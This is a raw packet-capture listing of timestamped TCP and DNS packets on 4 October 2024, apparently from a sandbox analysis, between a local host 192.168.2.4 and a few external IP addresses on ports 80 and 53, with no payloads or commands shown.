Oct 4, 2024 09:52:36.055242062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055249929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055275917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.125660896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.125710964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.125746965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.125771999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.125771999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.125778913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.125802040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.125819921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.125835896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.125870943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.125874996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.125907898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.125910997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.125943899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.129905939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.129961014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.129966021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.129995108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.130001068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.130027056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.130031109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.130060911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.130064964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.130093098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.130096912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.130132914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.130135059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.130171061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.139839888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.139894009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.139895916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.139929056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140043974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140065908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140065908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140078068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140702963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140734911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140749931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140770912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140784979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140818119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140825033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140852928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140855074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140885115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140888929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140918970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.140921116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.140954971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141036034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141067028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141074896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141099930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141104937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141130924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141136885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141165018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141166925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141211033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141215086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141246080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141253948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141278982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141283989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141309977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141315937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141343117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141351938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141376019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141381979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141410112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141411066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141448021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141556025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141587973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141592979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141619921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141623974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141650915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141652107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141684055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141689062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141716003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141720057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141748905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141752005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141782045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141784906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141813993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141818047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141848087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141851902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141881943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.141884089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.141917944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.151424885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.151479959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.151494980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.151515007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.151519060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.151547909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.151550055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.151581049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.151585102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.151612997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.151619911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.151648998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.151649952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.151686907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.152024031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.152056932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.152071953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.152089119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.152096033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.152121067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.152126074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.152154922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.152159929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.152183056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.152194023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.152220011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.542824030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.542862892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.548125029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.548226118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:37.397417068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:37.397732973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:37.655749083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:37.811783075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:38.366314888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:38.366333961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:38.366348982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:38.366405010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:38.366437912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:38.454821110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:38.458878994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:38.463742971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:38.469221115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:38.884114981 CEST	49731	80	192.168.2.4	192.229.211.108
Oct 4, 2024 09:52:38.884114981 CEST	49732	80	192.168.2.4	2.23.198.32
Oct 4, 2024 09:52:39.061742067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.061773062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.062064886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.062593937 CEST	80	49731	192.229.211.108	192.168.2.4
Oct 4, 2024 09:52:39.062622070 CEST	80	49732	2.23.198.32	192.168.2.4
Oct 4, 2024 09:52:39.062664032 CEST	49731	80	192.168.2.4	192.229.211.108
Oct 4, 2024 09:52:39.062717915 CEST	49732	80	192.168.2.4	2.23.198.32
Oct 4, 2024 09:52:39.125835896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.128950119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.147394896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.152662039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.703118086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.703234911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.746511936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.746685028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.752202034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752240896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752268076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752299070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752320051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.752326012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752351046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.752352953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752377033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.752403021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.752644062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752671003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.752702951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.752741098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.755431890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.755460024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.755486012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.755491018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.755511045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.755531073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.755558014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.756891966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.756920099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.756944895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.756966114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.756989002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.757000923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.757039070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.757319927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.757400990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.757488966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.757555962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.758618116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.758697987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.760277033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.760340929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.761379957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.761444092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.761926889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.761993885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.762017965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762069941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:39.762082100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762109995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762135983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762161970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762187958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762213945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762238979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762407064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762433052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762459040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762485027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762510061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762536049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762588024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762614965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762640953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762665987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762868881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762896061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762922049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762948036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.762979031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.763005018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.763030052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.763056040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.764179945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.764206886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.764233112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.764257908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.764933109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.764959097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.764985085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.765011072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.765358925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.765386105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.765410900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.765436888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.765463114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.766648054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.766678095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.766868114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.766894102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.766921043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.766949892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.766976118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767002106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767026901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767370939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767415047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767462969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767488956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767513990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.767797947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:39.833205938 CEST	57012	53	192.168.2.4	162.159.36.2
Oct 4, 2024 09:52:39.839504957 CEST	53	57012	162.159.36.2	192.168.2.4
Oct 4, 2024 09:52:39.839601994 CEST	57012	53	192.168.2.4	162.159.36.2
Oct 4, 2024 09:52:39.842725992 CEST	57012	53	192.168.2.4	162.159.36.2
Oct 4, 2024 09:52:39.849817991 CEST	53	57012	162.159.36.2	192.168.2.4
Oct 4, 2024 09:52:40.290326118 CEST	53	57012	162.159.36.2	192.168.2.4
Oct 4, 2024 09:52:40.291162968 CEST	57012	53	192.168.2.4	162.159.36.2
Oct 4, 2024 09:52:40.296870947 CEST	53	57012	162.159.36.2	192.168.2.4
Oct 4, 2024 09:52:40.296943903 CEST	57012	53	192.168.2.4	162.159.36.2
Oct 4, 2024 09:52:40.996366024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:40.996543884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:41.000576019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:41.009352922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:41.635370970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:41.635441065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:41.671602964 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:41.676590919 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:41.676954985 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:41.677071095 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:41.682471037 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309207916 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309237003 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309252977 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309267998 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309283972 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309298038 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309314013 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309329033 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309329987 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.309344053 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309361935 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.309366941 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.309366941 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.309398890 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.314692974 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.314728022 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.314795017 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.399194002 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399262905 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399307013 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399342060 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399399042 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.399426937 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399439096 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.399490118 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399523020 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399557114 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399559021 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.399656057 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399689913 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.399758101 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.399758101 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.399758101 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.399799109 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.400372982 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.400424957 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.400458097 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.400459051 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.400475025 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.400496006 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.400502920 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.400528908 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.400549889 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.400572062 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.401361942 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.401393890 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.401415110 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.401433945 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.401446104 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.401479006 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.401511908 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.401524067 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.401696920 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.402211905 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.402271986 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.489876986 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.489921093 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.489933968 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.489969015 CEST	57015	80	192.168.2.4	147.45.44.104
